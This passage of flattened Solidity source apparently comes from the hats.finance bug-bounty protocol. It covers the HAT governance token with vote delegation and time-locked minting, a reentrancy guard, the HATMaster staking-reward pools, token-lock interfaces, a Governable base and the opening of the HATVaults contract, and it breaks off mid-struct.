setMinterPendingAt; } /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice EIP-20 token name for this token // solhint-disable-next-line const-name-snakecase string public constant name = "hats.finance"; /// @notice EIP-20 token symbol for this token // solhint-disable-next-line const-name-snakecase string public constant symbol = "HAT"; /// @notice EIP-20 token decimals for this token // solhint-disable-next-line const-name-snakecase uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public override totalSupply; address public governance; address public governancePending; uint256 public setGovernancePendingAt; uint256 public immutable timeLockDelay; uint256 public constant CAP = 10000000e18; /// @notice Address which may mint new tokens /// minter -> minting seedAmount mapping (address => uint256) public minters; /// @notice Address which may mint new tokens /// minter -> minting seedAmount mapping (address => PendingMinter) public pendingMinters; // @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; // @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice An event thats emitted when a new minter address is pending event MinterPending(address indexed minter, uint256 seedAmount, uint256 at); /// @notice An event thats emitted when the minter address is changed event MinterChanged(address indexed minter, uint256 seedAmount); /// @notice An event thats emitted when a new governance address is pending event GovernancePending(address indexed oldGovernance, address indexed newGovernance, uint256 at); /// @notice An event thats emitted when a new governance address is set event GovernanceChanged(address indexed oldGovernance, address indexed newGovernance); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Construct a new HAT token */ // solhint-disable-next-line func-visibility constructor(address _governance, uint256 _timeLockDelay) { governance = _governance; timeLockDelay = _timeLockDelay; } function setPendingGovernance(address _governance) external { require(msg.sender == governance, "HAT:!governance"); require(_governance != address(0), "HAT:!_governance"); governancePending = _governance; // solhint-disable-next-line not-rely-on-time setGovernancePendingAt = block.timestamp; emit GovernancePending(governance, _governance, setGovernancePendingAt); } function confirmGovernance() external { require(msg.sender == governance, "HAT:!governance"); require(setGovernancePendingAt > 0, "HAT:!governancePending"); // solhint-disable-next-line not-rely-on-time require(block.timestamp - setGovernancePendingAt > timeLockDelay, "HAT: cannot confirm governance at this time"); emit GovernanceChanged(governance, governancePending); governance = governancePending; setGovernancePendingAt = 0; } function setPendingMinter(address _minter, uint256 _cap) external { require(msg.sender == governance, "HAT::!governance"); pendingMinters[_minter].seedAmount = _cap; // solhint-disable-next-line not-rely-on-time pendingMinters[_minter].setMinterPendingAt = block.timestamp; emit MinterPending(_minter, _cap, pendingMinters[_minter].setMinterPendingAt); } function confirmMinter(address _minter) external { require(msg.sender == governance, "HAT::mint: only the governance can confirm minter"); require(pendingMinters[_minter].setMinterPendingAt > 0, "HAT:: no pending minter was set"); // solhint-disable-next-line not-rely-on-time require(block.timestamp - pendingMinters[_minter].setMinterPendingAt > timeLockDelay, "HATToken: cannot confirm at this time"); minters[_minter] = pendingMinters[_minter].seedAmount; pendingMinters[_minter].setMinterPendingAt = 0; emit MinterChanged(_minter, pendingMinters[_minter].seedAmount); } function burn(uint256 _amount) external { return _burn(msg.sender, _amount); } function mint(address _account, uint _amount) external { require(minters[msg.sender] >= _amount, "HATToken: amount greater than limitation"); minters[msg.sender] = SafeMath.sub(minters[msg.sender], _amount); _mint(_account, _amount); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external override view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint rawAmount) external override returns (bool) { uint96 amount; if (rawAmount == type(uint256).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "HAT::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint addedValue) external virtual returns (bool) { require(spender != address(0), "HAT: increaseAllowance to the zero address"); uint96 valueToAdd = safe96(addedValue, "HAT::increaseAllowance: addedValue exceeds 96 bits"); allowances[msg.sender][spender] = add96(allowances[msg.sender][spender], valueToAdd, "HAT::increaseAllowance: overflows"); emit Approval(msg.sender, spender, allowances[msg.sender][spender]); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint subtractedValue) external virtual returns (bool) { require(spender != address(0), "HAT: decreaseAllowance to the zero address"); uint96 valueTosubtract = safe96(subtractedValue, "HAT::decreaseAllowance: subtractedValue exceeds 96 bits"); allowances[msg.sender][spender] = sub96(allowances[msg.sender][spender], valueTosubtract, "HAT::decreaseAllowance: spender allowance is less than subtractedValue"); emit Approval(msg.sender, spender, allowances[msg.sender][spender]); return true; } /** * @notice Triggers an approval from owner to spends * @param owner The address to approve from * @param spender The address to be approved * @param rawAmount The number of tokens that are approved (2^256-1 means infinite) * @param deadline The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { uint96 amount; if (rawAmount == type(uint256).max) { amount = type(uint96).max; } else { amount = safe96(rawAmount, "HAT::permit: amount exceeds 96 bits"); } bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "HAT::permit: invalid signature"); require(signatory == owner, "HAT::permit: unauthorized"); // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "HAT::permit: signature expired"); allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view override returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint rawAmount) external override returns (bool) { uint96 amount = safe96(rawAmount, "HAT::transfer: amount exceeds 96 bits"); _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param rawAmount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint rawAmount) external override returns (bool) { address spender = msg.sender; uint96 spenderAllowance = allowances[src][spender]; uint96 amount = safe96(rawAmount, "HAT::approve: amount exceeds 96 bits"); if (spender != src && spenderAllowance != type(uint96).max) { uint96 newAllowance = sub96(spenderAllowance, amount, "HAT::transferFrom: transfer amount exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "HAT::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "HAT::delegateBySig: invalid nonce"); // solhint-disable-next-line not-rely-on-time require(block.timestamp <= expiry, "HAT::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint96) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint96) { require(blockNumber < block.number, "HAT::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @notice Mint new tokens * @param dst The address of the destination account * @param rawAmount The number of tokens to be minted */ function _mint(address dst, uint rawAmount) internal { require(dst != address(0), "HAT::mint: cannot transfer to the zero address"); require(SafeMath.add(totalSupply, rawAmount) <= CAP, "ERC20Capped: CAP exceeded"); // mint the amount uint96 amount = safe96(rawAmount, "HAT::mint: amount exceeds 96 bits"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "HAT::mint: totalSupply exceeds 96 bits"); // transfer the amount to the recipient balances[dst] = add96(balances[dst], amount, "HAT::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); // move delegates _moveDelegates(address(0), delegates[dst], amount); } /** * Burn tokens * @param src The address of the source account * @param rawAmount The number of tokens to be burned */ function _burn(address src, uint rawAmount) internal { require(src != address(0), "HAT::burn: cannot burn to the zero address"); // burn the amount uint96 amount = safe96(rawAmount, "HAT::burn: amount exceeds 96 bits"); totalSupply = safe96(SafeMath.sub(totalSupply, amount), "HAT::mint: totalSupply exceeds 96 bits"); // reduce the amount from src address balances[src] = sub96(balances[src], amount, "HAT::burn: burn amount exceeds balance"); emit Transfer(src, address(0), amount); // move delegates _moveDelegates(delegates[src], address(0), amount); } function _delegate(address delegator, address delegatee) internal { address currentDelegate = delegates[delegator]; uint96 delegatorBalance = balances[delegator]; delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _transferTokens(address src, address dst, uint96 amount) internal { require(src != address(0), "HAT::_transferTokens: cannot transfer from the zero address"); require(dst != address(0), "HAT::_transferTokens: cannot transfer to the zero address"); balances[src] = sub96(balances[src], amount, "HAT::_transferTokens: transfer amount exceeds balance"); balances[dst] = add96(balances[dst], amount, "HAT::_transferTokens: transfer amount overflows"); emit Transfer(src, dst, amount); _moveDelegates(delegates[src], delegates[dst], amount); } function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { uint32 srcRepNum = numCheckpoints[srcRep]; uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint96 srcRepNew = sub96(srcRepOld, amount, "HAT::_moveVotes: vote amount underflows"); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { uint32 dstRepNum = numCheckpoints[dstRep]; uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint96 dstRepNew = add96(dstRepOld, amount, "HAT::_moveVotes: vote amount overflows"); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal { uint32 blockNumber = safe32(block.number, "HAT::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function safe96(uint n, string memory errorMessage) internal pure returns (uint96) { require(n < 2**96, errorMessage); return uint96(n); } function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, errorMessage); return c; } function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) { require(b <= a, errorMessage); return a - b; } function getChainId() internal view returns (uint) { uint256 chainId; // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } return chainId; } } // File openzeppelin-solidity/contracts/security/[email protected] pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File contracts/HATMaster.sol // Disclaimer https://github.com/hats-finance/hats-contracts/blob/main/DISCLAIMER.md pragma solidity 0.8.6; contract HATMaster is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { uint256 amount; // The user share of the pool based on the amount of lpToken the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of HATs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.rewardPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `rewardPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } struct PoolUpdate { uint256 blockNumber;// update blocknumber uint256 totalAllocPoint; //totalAllocPoint } struct RewardsSplit { //the percentage of the total reward to reward the hacker via vesting contract(claim reported) uint256 hackerVestedReward; //the percentage of the total reward to reward the hacker(claim reported) uint256 hackerReward; // the percentage of the total reward to be sent to the committee uint256 committeeReward; // the percentage of the total reward to be swap to HAT and to be burned uint256 swapAndBurn; // the percentage of the total reward to be swap to HAT and sent to governance uint256 governanceHatReward; // the percentage of the total reward to be swap to HAT and sent to the hacker uint256 hackerHatReward; } // Info of each pool. struct PoolInfo { IERC20 lpToken; uint256 allocPoint; uint256 lastRewardBlock; uint256 rewardPerShare; uint256 totalUsersAmount; uint256 lastProcessedTotalAllocPoint; uint256 balance; } // Info of each pool. struct PoolReward { RewardsSplit rewardsSplit; uint256[] rewardsLevels; bool committeeCheckIn; uint256 vestingDuration; uint256 vestingPeriods; } HATToken public immutable HAT; uint256 public immutable REWARD_PER_BLOCK; uint256 public immutable START_BLOCK; uint256 public immutable MULTIPLIER_PERIOD; // Info of each pool. PoolInfo[] public poolInfo; PoolUpdate[] public globalPoolUpdates; mapping(address => uint256) public poolId1; // poolId1 count from 1, subtraction 1 before using with poolInfo // Info of each user that stakes LP tokens. pid => user address => info mapping (uint256 => mapping (address => UserInfo)) public userInfo; //pid -> PoolReward mapping (uint256=>PoolReward) internal poolsRewards; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event SendReward(address indexed user, uint256 indexed pid, uint256 amount, uint256 requestedAmount); event MassUpdatePools(uint256 _fromPid, uint256 _toPid); constructor( HATToken _hat, uint256 _rewardPerBlock, uint256 _startBlock, uint256 _multiplierPeriod // solhint-disable-next-line func-visibility ) { HAT = _hat; REWARD_PER_BLOCK = _rewardPerBlock; START_BLOCK = _startBlock; MULTIPLIER_PERIOD = _multiplierPeriod; } /** * @dev massUpdatePools - Update reward variables for all pools * Be careful of gas spending! * @param _fromPid update pools range from this pool id * @param _toPid update pools range to this pool id */ function massUpdatePools(uint256 _fromPid, uint256 _toPid) external { require(_toPid <= poolInfo.length, "pool range is too big"); require(_fromPid <= _toPid, "invalid pool range"); for (uint256 pid = _fromPid; pid < _toPid; ++pid) { updatePool(pid); } emit MassUpdatePools(_fromPid, _toPid); } function claimReward(uint256 _pid) external { _deposit(_pid, 0); } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; uint256 lastRewardBlock = pool.lastRewardBlock; if (block.number <= lastRewardBlock) { return; } uint256 totalUsersAmount = pool.totalUsersAmount; uint256 lastPoolUpdate = globalPoolUpdates.length-1; if (totalUsersAmount == 0) { pool.lastRewardBlock = block.number; pool.lastProcessedTotalAllocPoint = lastPoolUpdate; return; } uint256 reward = calcPoolReward(_pid, lastRewardBlock, lastPoolUpdate); uint256 amountCanMint = HAT.minters(address(this)); reward = amountCanMint < reward ? amountCanMint : reward; if (reward > 0) { HAT.mint(address(this), reward); } pool.rewardPerShare = pool.rewardPerShare.add(reward.mul(1e12).div(totalUsersAmount)); pool.lastRewardBlock = block.number; pool.lastProcessedTotalAllocPoint = lastPoolUpdate; } /** * @dev getMultiplier - multiply blocks with relevant multiplier for specific range * @param _from range's from block * @param _to range's to block * will revert if from < START_BLOCK or _to < _from */ function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256 result) { uint256[25] memory rewardMultipliers = [uint256(4413), 4413, 8825, 7788, 6873, 6065, 5353, 4724, 4169, 3679, 3247, 2865, 2528, 2231, 1969, 1738, 1534, 1353, 1194, 1054, 930, 821, 724, 639, 0]; uint256 max = rewardMultipliers.length; uint256 i = (_from - START_BLOCK) / MULTIPLIER_PERIOD + 1; for (; i < max; i++) { uint256 endBlock = MULTIPLIER_PERIOD * i + START_BLOCK; if (_to <= endBlock) { break; } result += (endBlock - _from) * rewardMultipliers[i-1]; _from = endBlock; } result += (_to - _from) * rewardMultipliers[i > max ? (max-1) : (i-1)]; } function getRewardForBlocksRange(uint256 _from, uint256 _to, uint256 _allocPoint, uint256 _totalAllocPoint) public view returns (uint256 reward) { if (_totalAllocPoint > 0) { reward = getMultiplier(_from, _to).mul(REWARD_PER_BLOCK).mul(_allocPoint).div(_totalAllocPoint).div(100); } } /** * @dev calcPoolReward - * calculate rewards for a pool by iterating over the history of totalAllocPoints updates. * and sum up all rewards periods from pool.lastRewardBlock till current block number. * @param _pid pool id * @param _from block starting calculation * @param _lastPoolUpdate lastPoolUpdate * @return reward */ function calcPoolReward(uint256 _pid, uint256 _from, uint256 _lastPoolUpdate) public view returns(uint256 reward) { uint256 poolAllocPoint = poolInfo[_pid].allocPoint; uint256 i = poolInfo[_pid].lastProcessedTotalAllocPoint; for (; i < _lastPoolUpdate; i++) { uint256 nextUpdateBlock = globalPoolUpdates[i+1].blockNumber; reward = reward.add(getRewardForBlocksRange(_from, nextUpdateBlock, poolAllocPoint, globalPoolUpdates[i].totalAllocPoint)); _from = nextUpdateBlock; } return reward.add(getRewardForBlocksRange(_from, block.number, poolAllocPoint, globalPoolUpdates[i].totalAllocPoint)); } function _deposit(uint256 _pid, uint256 _amount) internal nonReentrant { require(poolsRewards[_pid].committeeCheckIn, "committee not checked in yet"); PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.rewardPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { safeTransferReward(msg.sender, pending, _pid); } } if (_amount > 0) { uint256 lpSupply = pool.balance; pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); pool.balance = pool.balance.add(_amount); uint256 factoredAmount = _amount; if (pool.totalUsersAmount > 0) { factoredAmount = pool.totalUsersAmount.mul(_amount).div(lpSupply); } user.amount = user.amount.add(factoredAmount); pool.totalUsersAmount = pool.totalUsersAmount.add(factoredAmount); } user.rewardDebt = user.amount.mul(pool.rewardPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function _withdraw(uint256 _pid, uint256 _amount) internal nonReentrant { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not enough user balance"); updatePool(_pid); uint256 pending = user.amount.mul(pool.rewardPerShare).div(1e12).sub(user.rewardDebt); if (pending > 0) { safeTransferReward(msg.sender, pending, _pid); } if (_amount > 0) { user.amount = user.amount.sub(_amount); uint256 amountToWithdraw = _amount.mul(pool.balance).div(pool.totalUsersAmount); pool.balance = pool.balance.sub(amountToWithdraw); pool.lpToken.safeTransfer(msg.sender, amountToWithdraw); pool.totalUsersAmount = pool.totalUsersAmount.sub(_amount); } user.rewardDebt = user.amount.mul(pool.rewardPerShare).div(1e12); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function _emergencyWithdraw(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount > 0, "user.amount = 0"); uint256 factoredBalance = user.amount.mul(pool.balance).div(pool.totalUsersAmount); pool.totalUsersAmount = pool.totalUsersAmount.sub(user.amount); user.amount = 0; user.rewardDebt = 0; pool.balance = pool.balance.sub(factoredBalance); pool.lpToken.safeTransfer(msg.sender, factoredBalance); emit EmergencyWithdraw(msg.sender, _pid, factoredBalance); } // -------- For manage pool --------- function add(uint256 _allocPoint, IERC20 _lpToken) internal { require(poolId1[address(_lpToken)] == 0, "HATMaster::add: lpToken is already in pool"); poolId1[address(_lpToken)] = poolInfo.length + 1; uint256 lastRewardBlock = block.number > START_BLOCK ? block.number : START_BLOCK; uint256 totalAllocPoint = (globalPoolUpdates.length == 0) ? _allocPoint : globalPoolUpdates[globalPoolUpdates.length-1].totalAllocPoint.add(_allocPoint); if (globalPoolUpdates.length > 0 && globalPoolUpdates[globalPoolUpdates.length-1].blockNumber == block.number) { //already update in this block globalPoolUpdates[globalPoolUpdates.length-1].totalAllocPoint = totalAllocPoint; } else { globalPoolUpdates.push(PoolUpdate({ blockNumber: block.number, totalAllocPoint: totalAllocPoint })); } poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, rewardPerShare: 0, totalUsersAmount: 0, lastProcessedTotalAllocPoint: globalPoolUpdates.length-1, balance: 0 })); } function set(uint256 _pid, uint256 _allocPoint) internal { updatePool(_pid); uint256 totalAllocPoint = globalPoolUpdates[globalPoolUpdates.length-1].totalAllocPoint .sub(poolInfo[_pid].allocPoint).add(_allocPoint); if (globalPoolUpdates[globalPoolUpdates.length-1].blockNumber == block.number) { //already update in this block globalPoolUpdates[globalPoolUpdates.length-1].totalAllocPoint = totalAllocPoint; } else { globalPoolUpdates.push(PoolUpdate({ blockNumber: block.number, totalAllocPoint: totalAllocPoint })); } poolInfo[_pid].allocPoint = _allocPoint; } // Safe HAT transfer function, just in case if rounding error causes pool to not have enough HATs. function safeTransferReward(address _to, uint256 _amount, uint256 _pid) internal { uint256 hatBalance = HAT.balanceOf(address(this)); if (_amount > hatBalance) { HAT.transfer(_to, hatBalance); emit SendReward(_to, _pid, hatBalance, _amount); } else { HAT.transfer(_to, _amount); emit SendReward(_to, _pid, _amount, _amount); } } } // File contracts/tokenlock/ITokenLock.sol pragma solidity 0.8.6; pragma experimental ABIEncoderV2; interface ITokenLock { enum Revocability { NotSet, Enabled, Disabled } // -- Balances -- function currentBalance() external view returns (uint256); // -- Time & Periods -- function currentTime() external view returns (uint256); function duration() external view returns (uint256); function sinceStartTime() external view returns (uint256); function amountPerPeriod() external view returns (uint256); function periodDuration() external view returns (uint256); function currentPeriod() external view returns (uint256); function passedPeriods() external view returns (uint256); // -- Locking & Release Schedule -- function availableAmount() external view returns (uint256); function vestedAmount() external view returns (uint256); function releasableAmount() external view returns (uint256); function totalOutstandingAmount() external view returns (uint256); function surplusAmount() external view returns (uint256); // -- Value Transfer -- function release() external; function withdrawSurplus(uint256 _amount) external; function revoke() external; } // File contracts/tokenlock/ITokenLockFactory.sol pragma solidity 0.8.6; interface ITokenLockFactory { // -- Factory -- function setMasterCopy(address _masterCopy) external; function createTokenLock( address _token, address _owner, address _beneficiary, uint256 _managedAmount, uint256 _startTime, uint256 _endTime, uint256 _periods, uint256 _releaseStartTime, uint256 _vestingCliffTime, ITokenLock.Revocability _revocable, bool _canDelegate ) external returns(address contractAddress); } // File contracts/Governable.sol pragma solidity 0.8.6; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an governance) that can be granted exclusive access to * specific functions. * * The governance account will be passed on initialization of the contract. This * can later be changed with {setPendingGovernance and then transferGovernorship after 2 days}. * * This module is used through inheritance. It will make available the modifier * `onlyGovernance`, which can be applied to your functions to restrict their use to * the governance. */ contract Governable { address private _governance; address public governancePending; uint256 public setGovernancePendingAt; uint256 public constant TIME_LOCK_DELAY = 2 days; /// @notice An event thats emitted when a new governance address is set event GovernorshipTransferred(address indexed _previousGovernance, address indexed _newGovernance); /// @notice An event thats emitted when a new governance address is pending event GovernancePending(address indexed _previousGovernance, address indexed _newGovernance, uint256 _at); /** * @dev Throws if called by any account other than the governance. */ modifier onlyGovernance() { require(msg.sender == _governance, "only governance"); _; } /** * @dev setPendingGovernance set a pending governance address. * NOTE: transferGovernorship can be called after a time delay of 2 days. */ function setPendingGovernance(address _newGovernance) external onlyGovernance { require(_newGovernance != address(0), "Governable:new governance is the zero address"); governancePending = _newGovernance; // solhint-disable-next-line not-rely-on-time setGovernancePendingAt = block.timestamp; emit GovernancePending(_governance, _newGovernance, setGovernancePendingAt); } /** * @dev transferGovernorship transfer governorship to the pending governance address. * NOTE: transferGovernorship can be called after a time delay of 2 days from the latest setPendingGovernance. */ function transferGovernorship() external onlyGovernance { require(setGovernancePendingAt > 0, "Governable: no pending governance"); // solhint-disable-next-line not-rely-on-time require(block.timestamp - setGovernancePendingAt > TIME_LOCK_DELAY, "Governable: cannot confirm governance at this time"); emit GovernorshipTransferred(_governance, governancePending); _governance = governancePending; setGovernancePendingAt = 0; } /** * @dev Returns the address of the current governance. */ function governance() public view returns (address) { return _governance; } /** * @dev Initializes the contract setting the initial governance. */ function initialize(address _initialGovernance) internal { _governance = _initialGovernance; emit GovernorshipTransferred(address(0), _initialGovernance); } } // File contracts/HATVaults.sol // Disclaimer https://github.com/hats-finance/hats-contracts/blob/main/DISCLAIMER.md pragma solidity 0.8.6; contract HATVaults is Governable, HATMaster { using SafeMath for uint256; using SafeERC20 for IERC20; struct PendingApproval { address beneficiary; uint256 severity; address approver; } struct ClaimReward { uint256 hackerVestedReward; uint256 hackerReward; uint256 committeeReward; uint256 swapAndBurn; uint256 governanceHatReward; 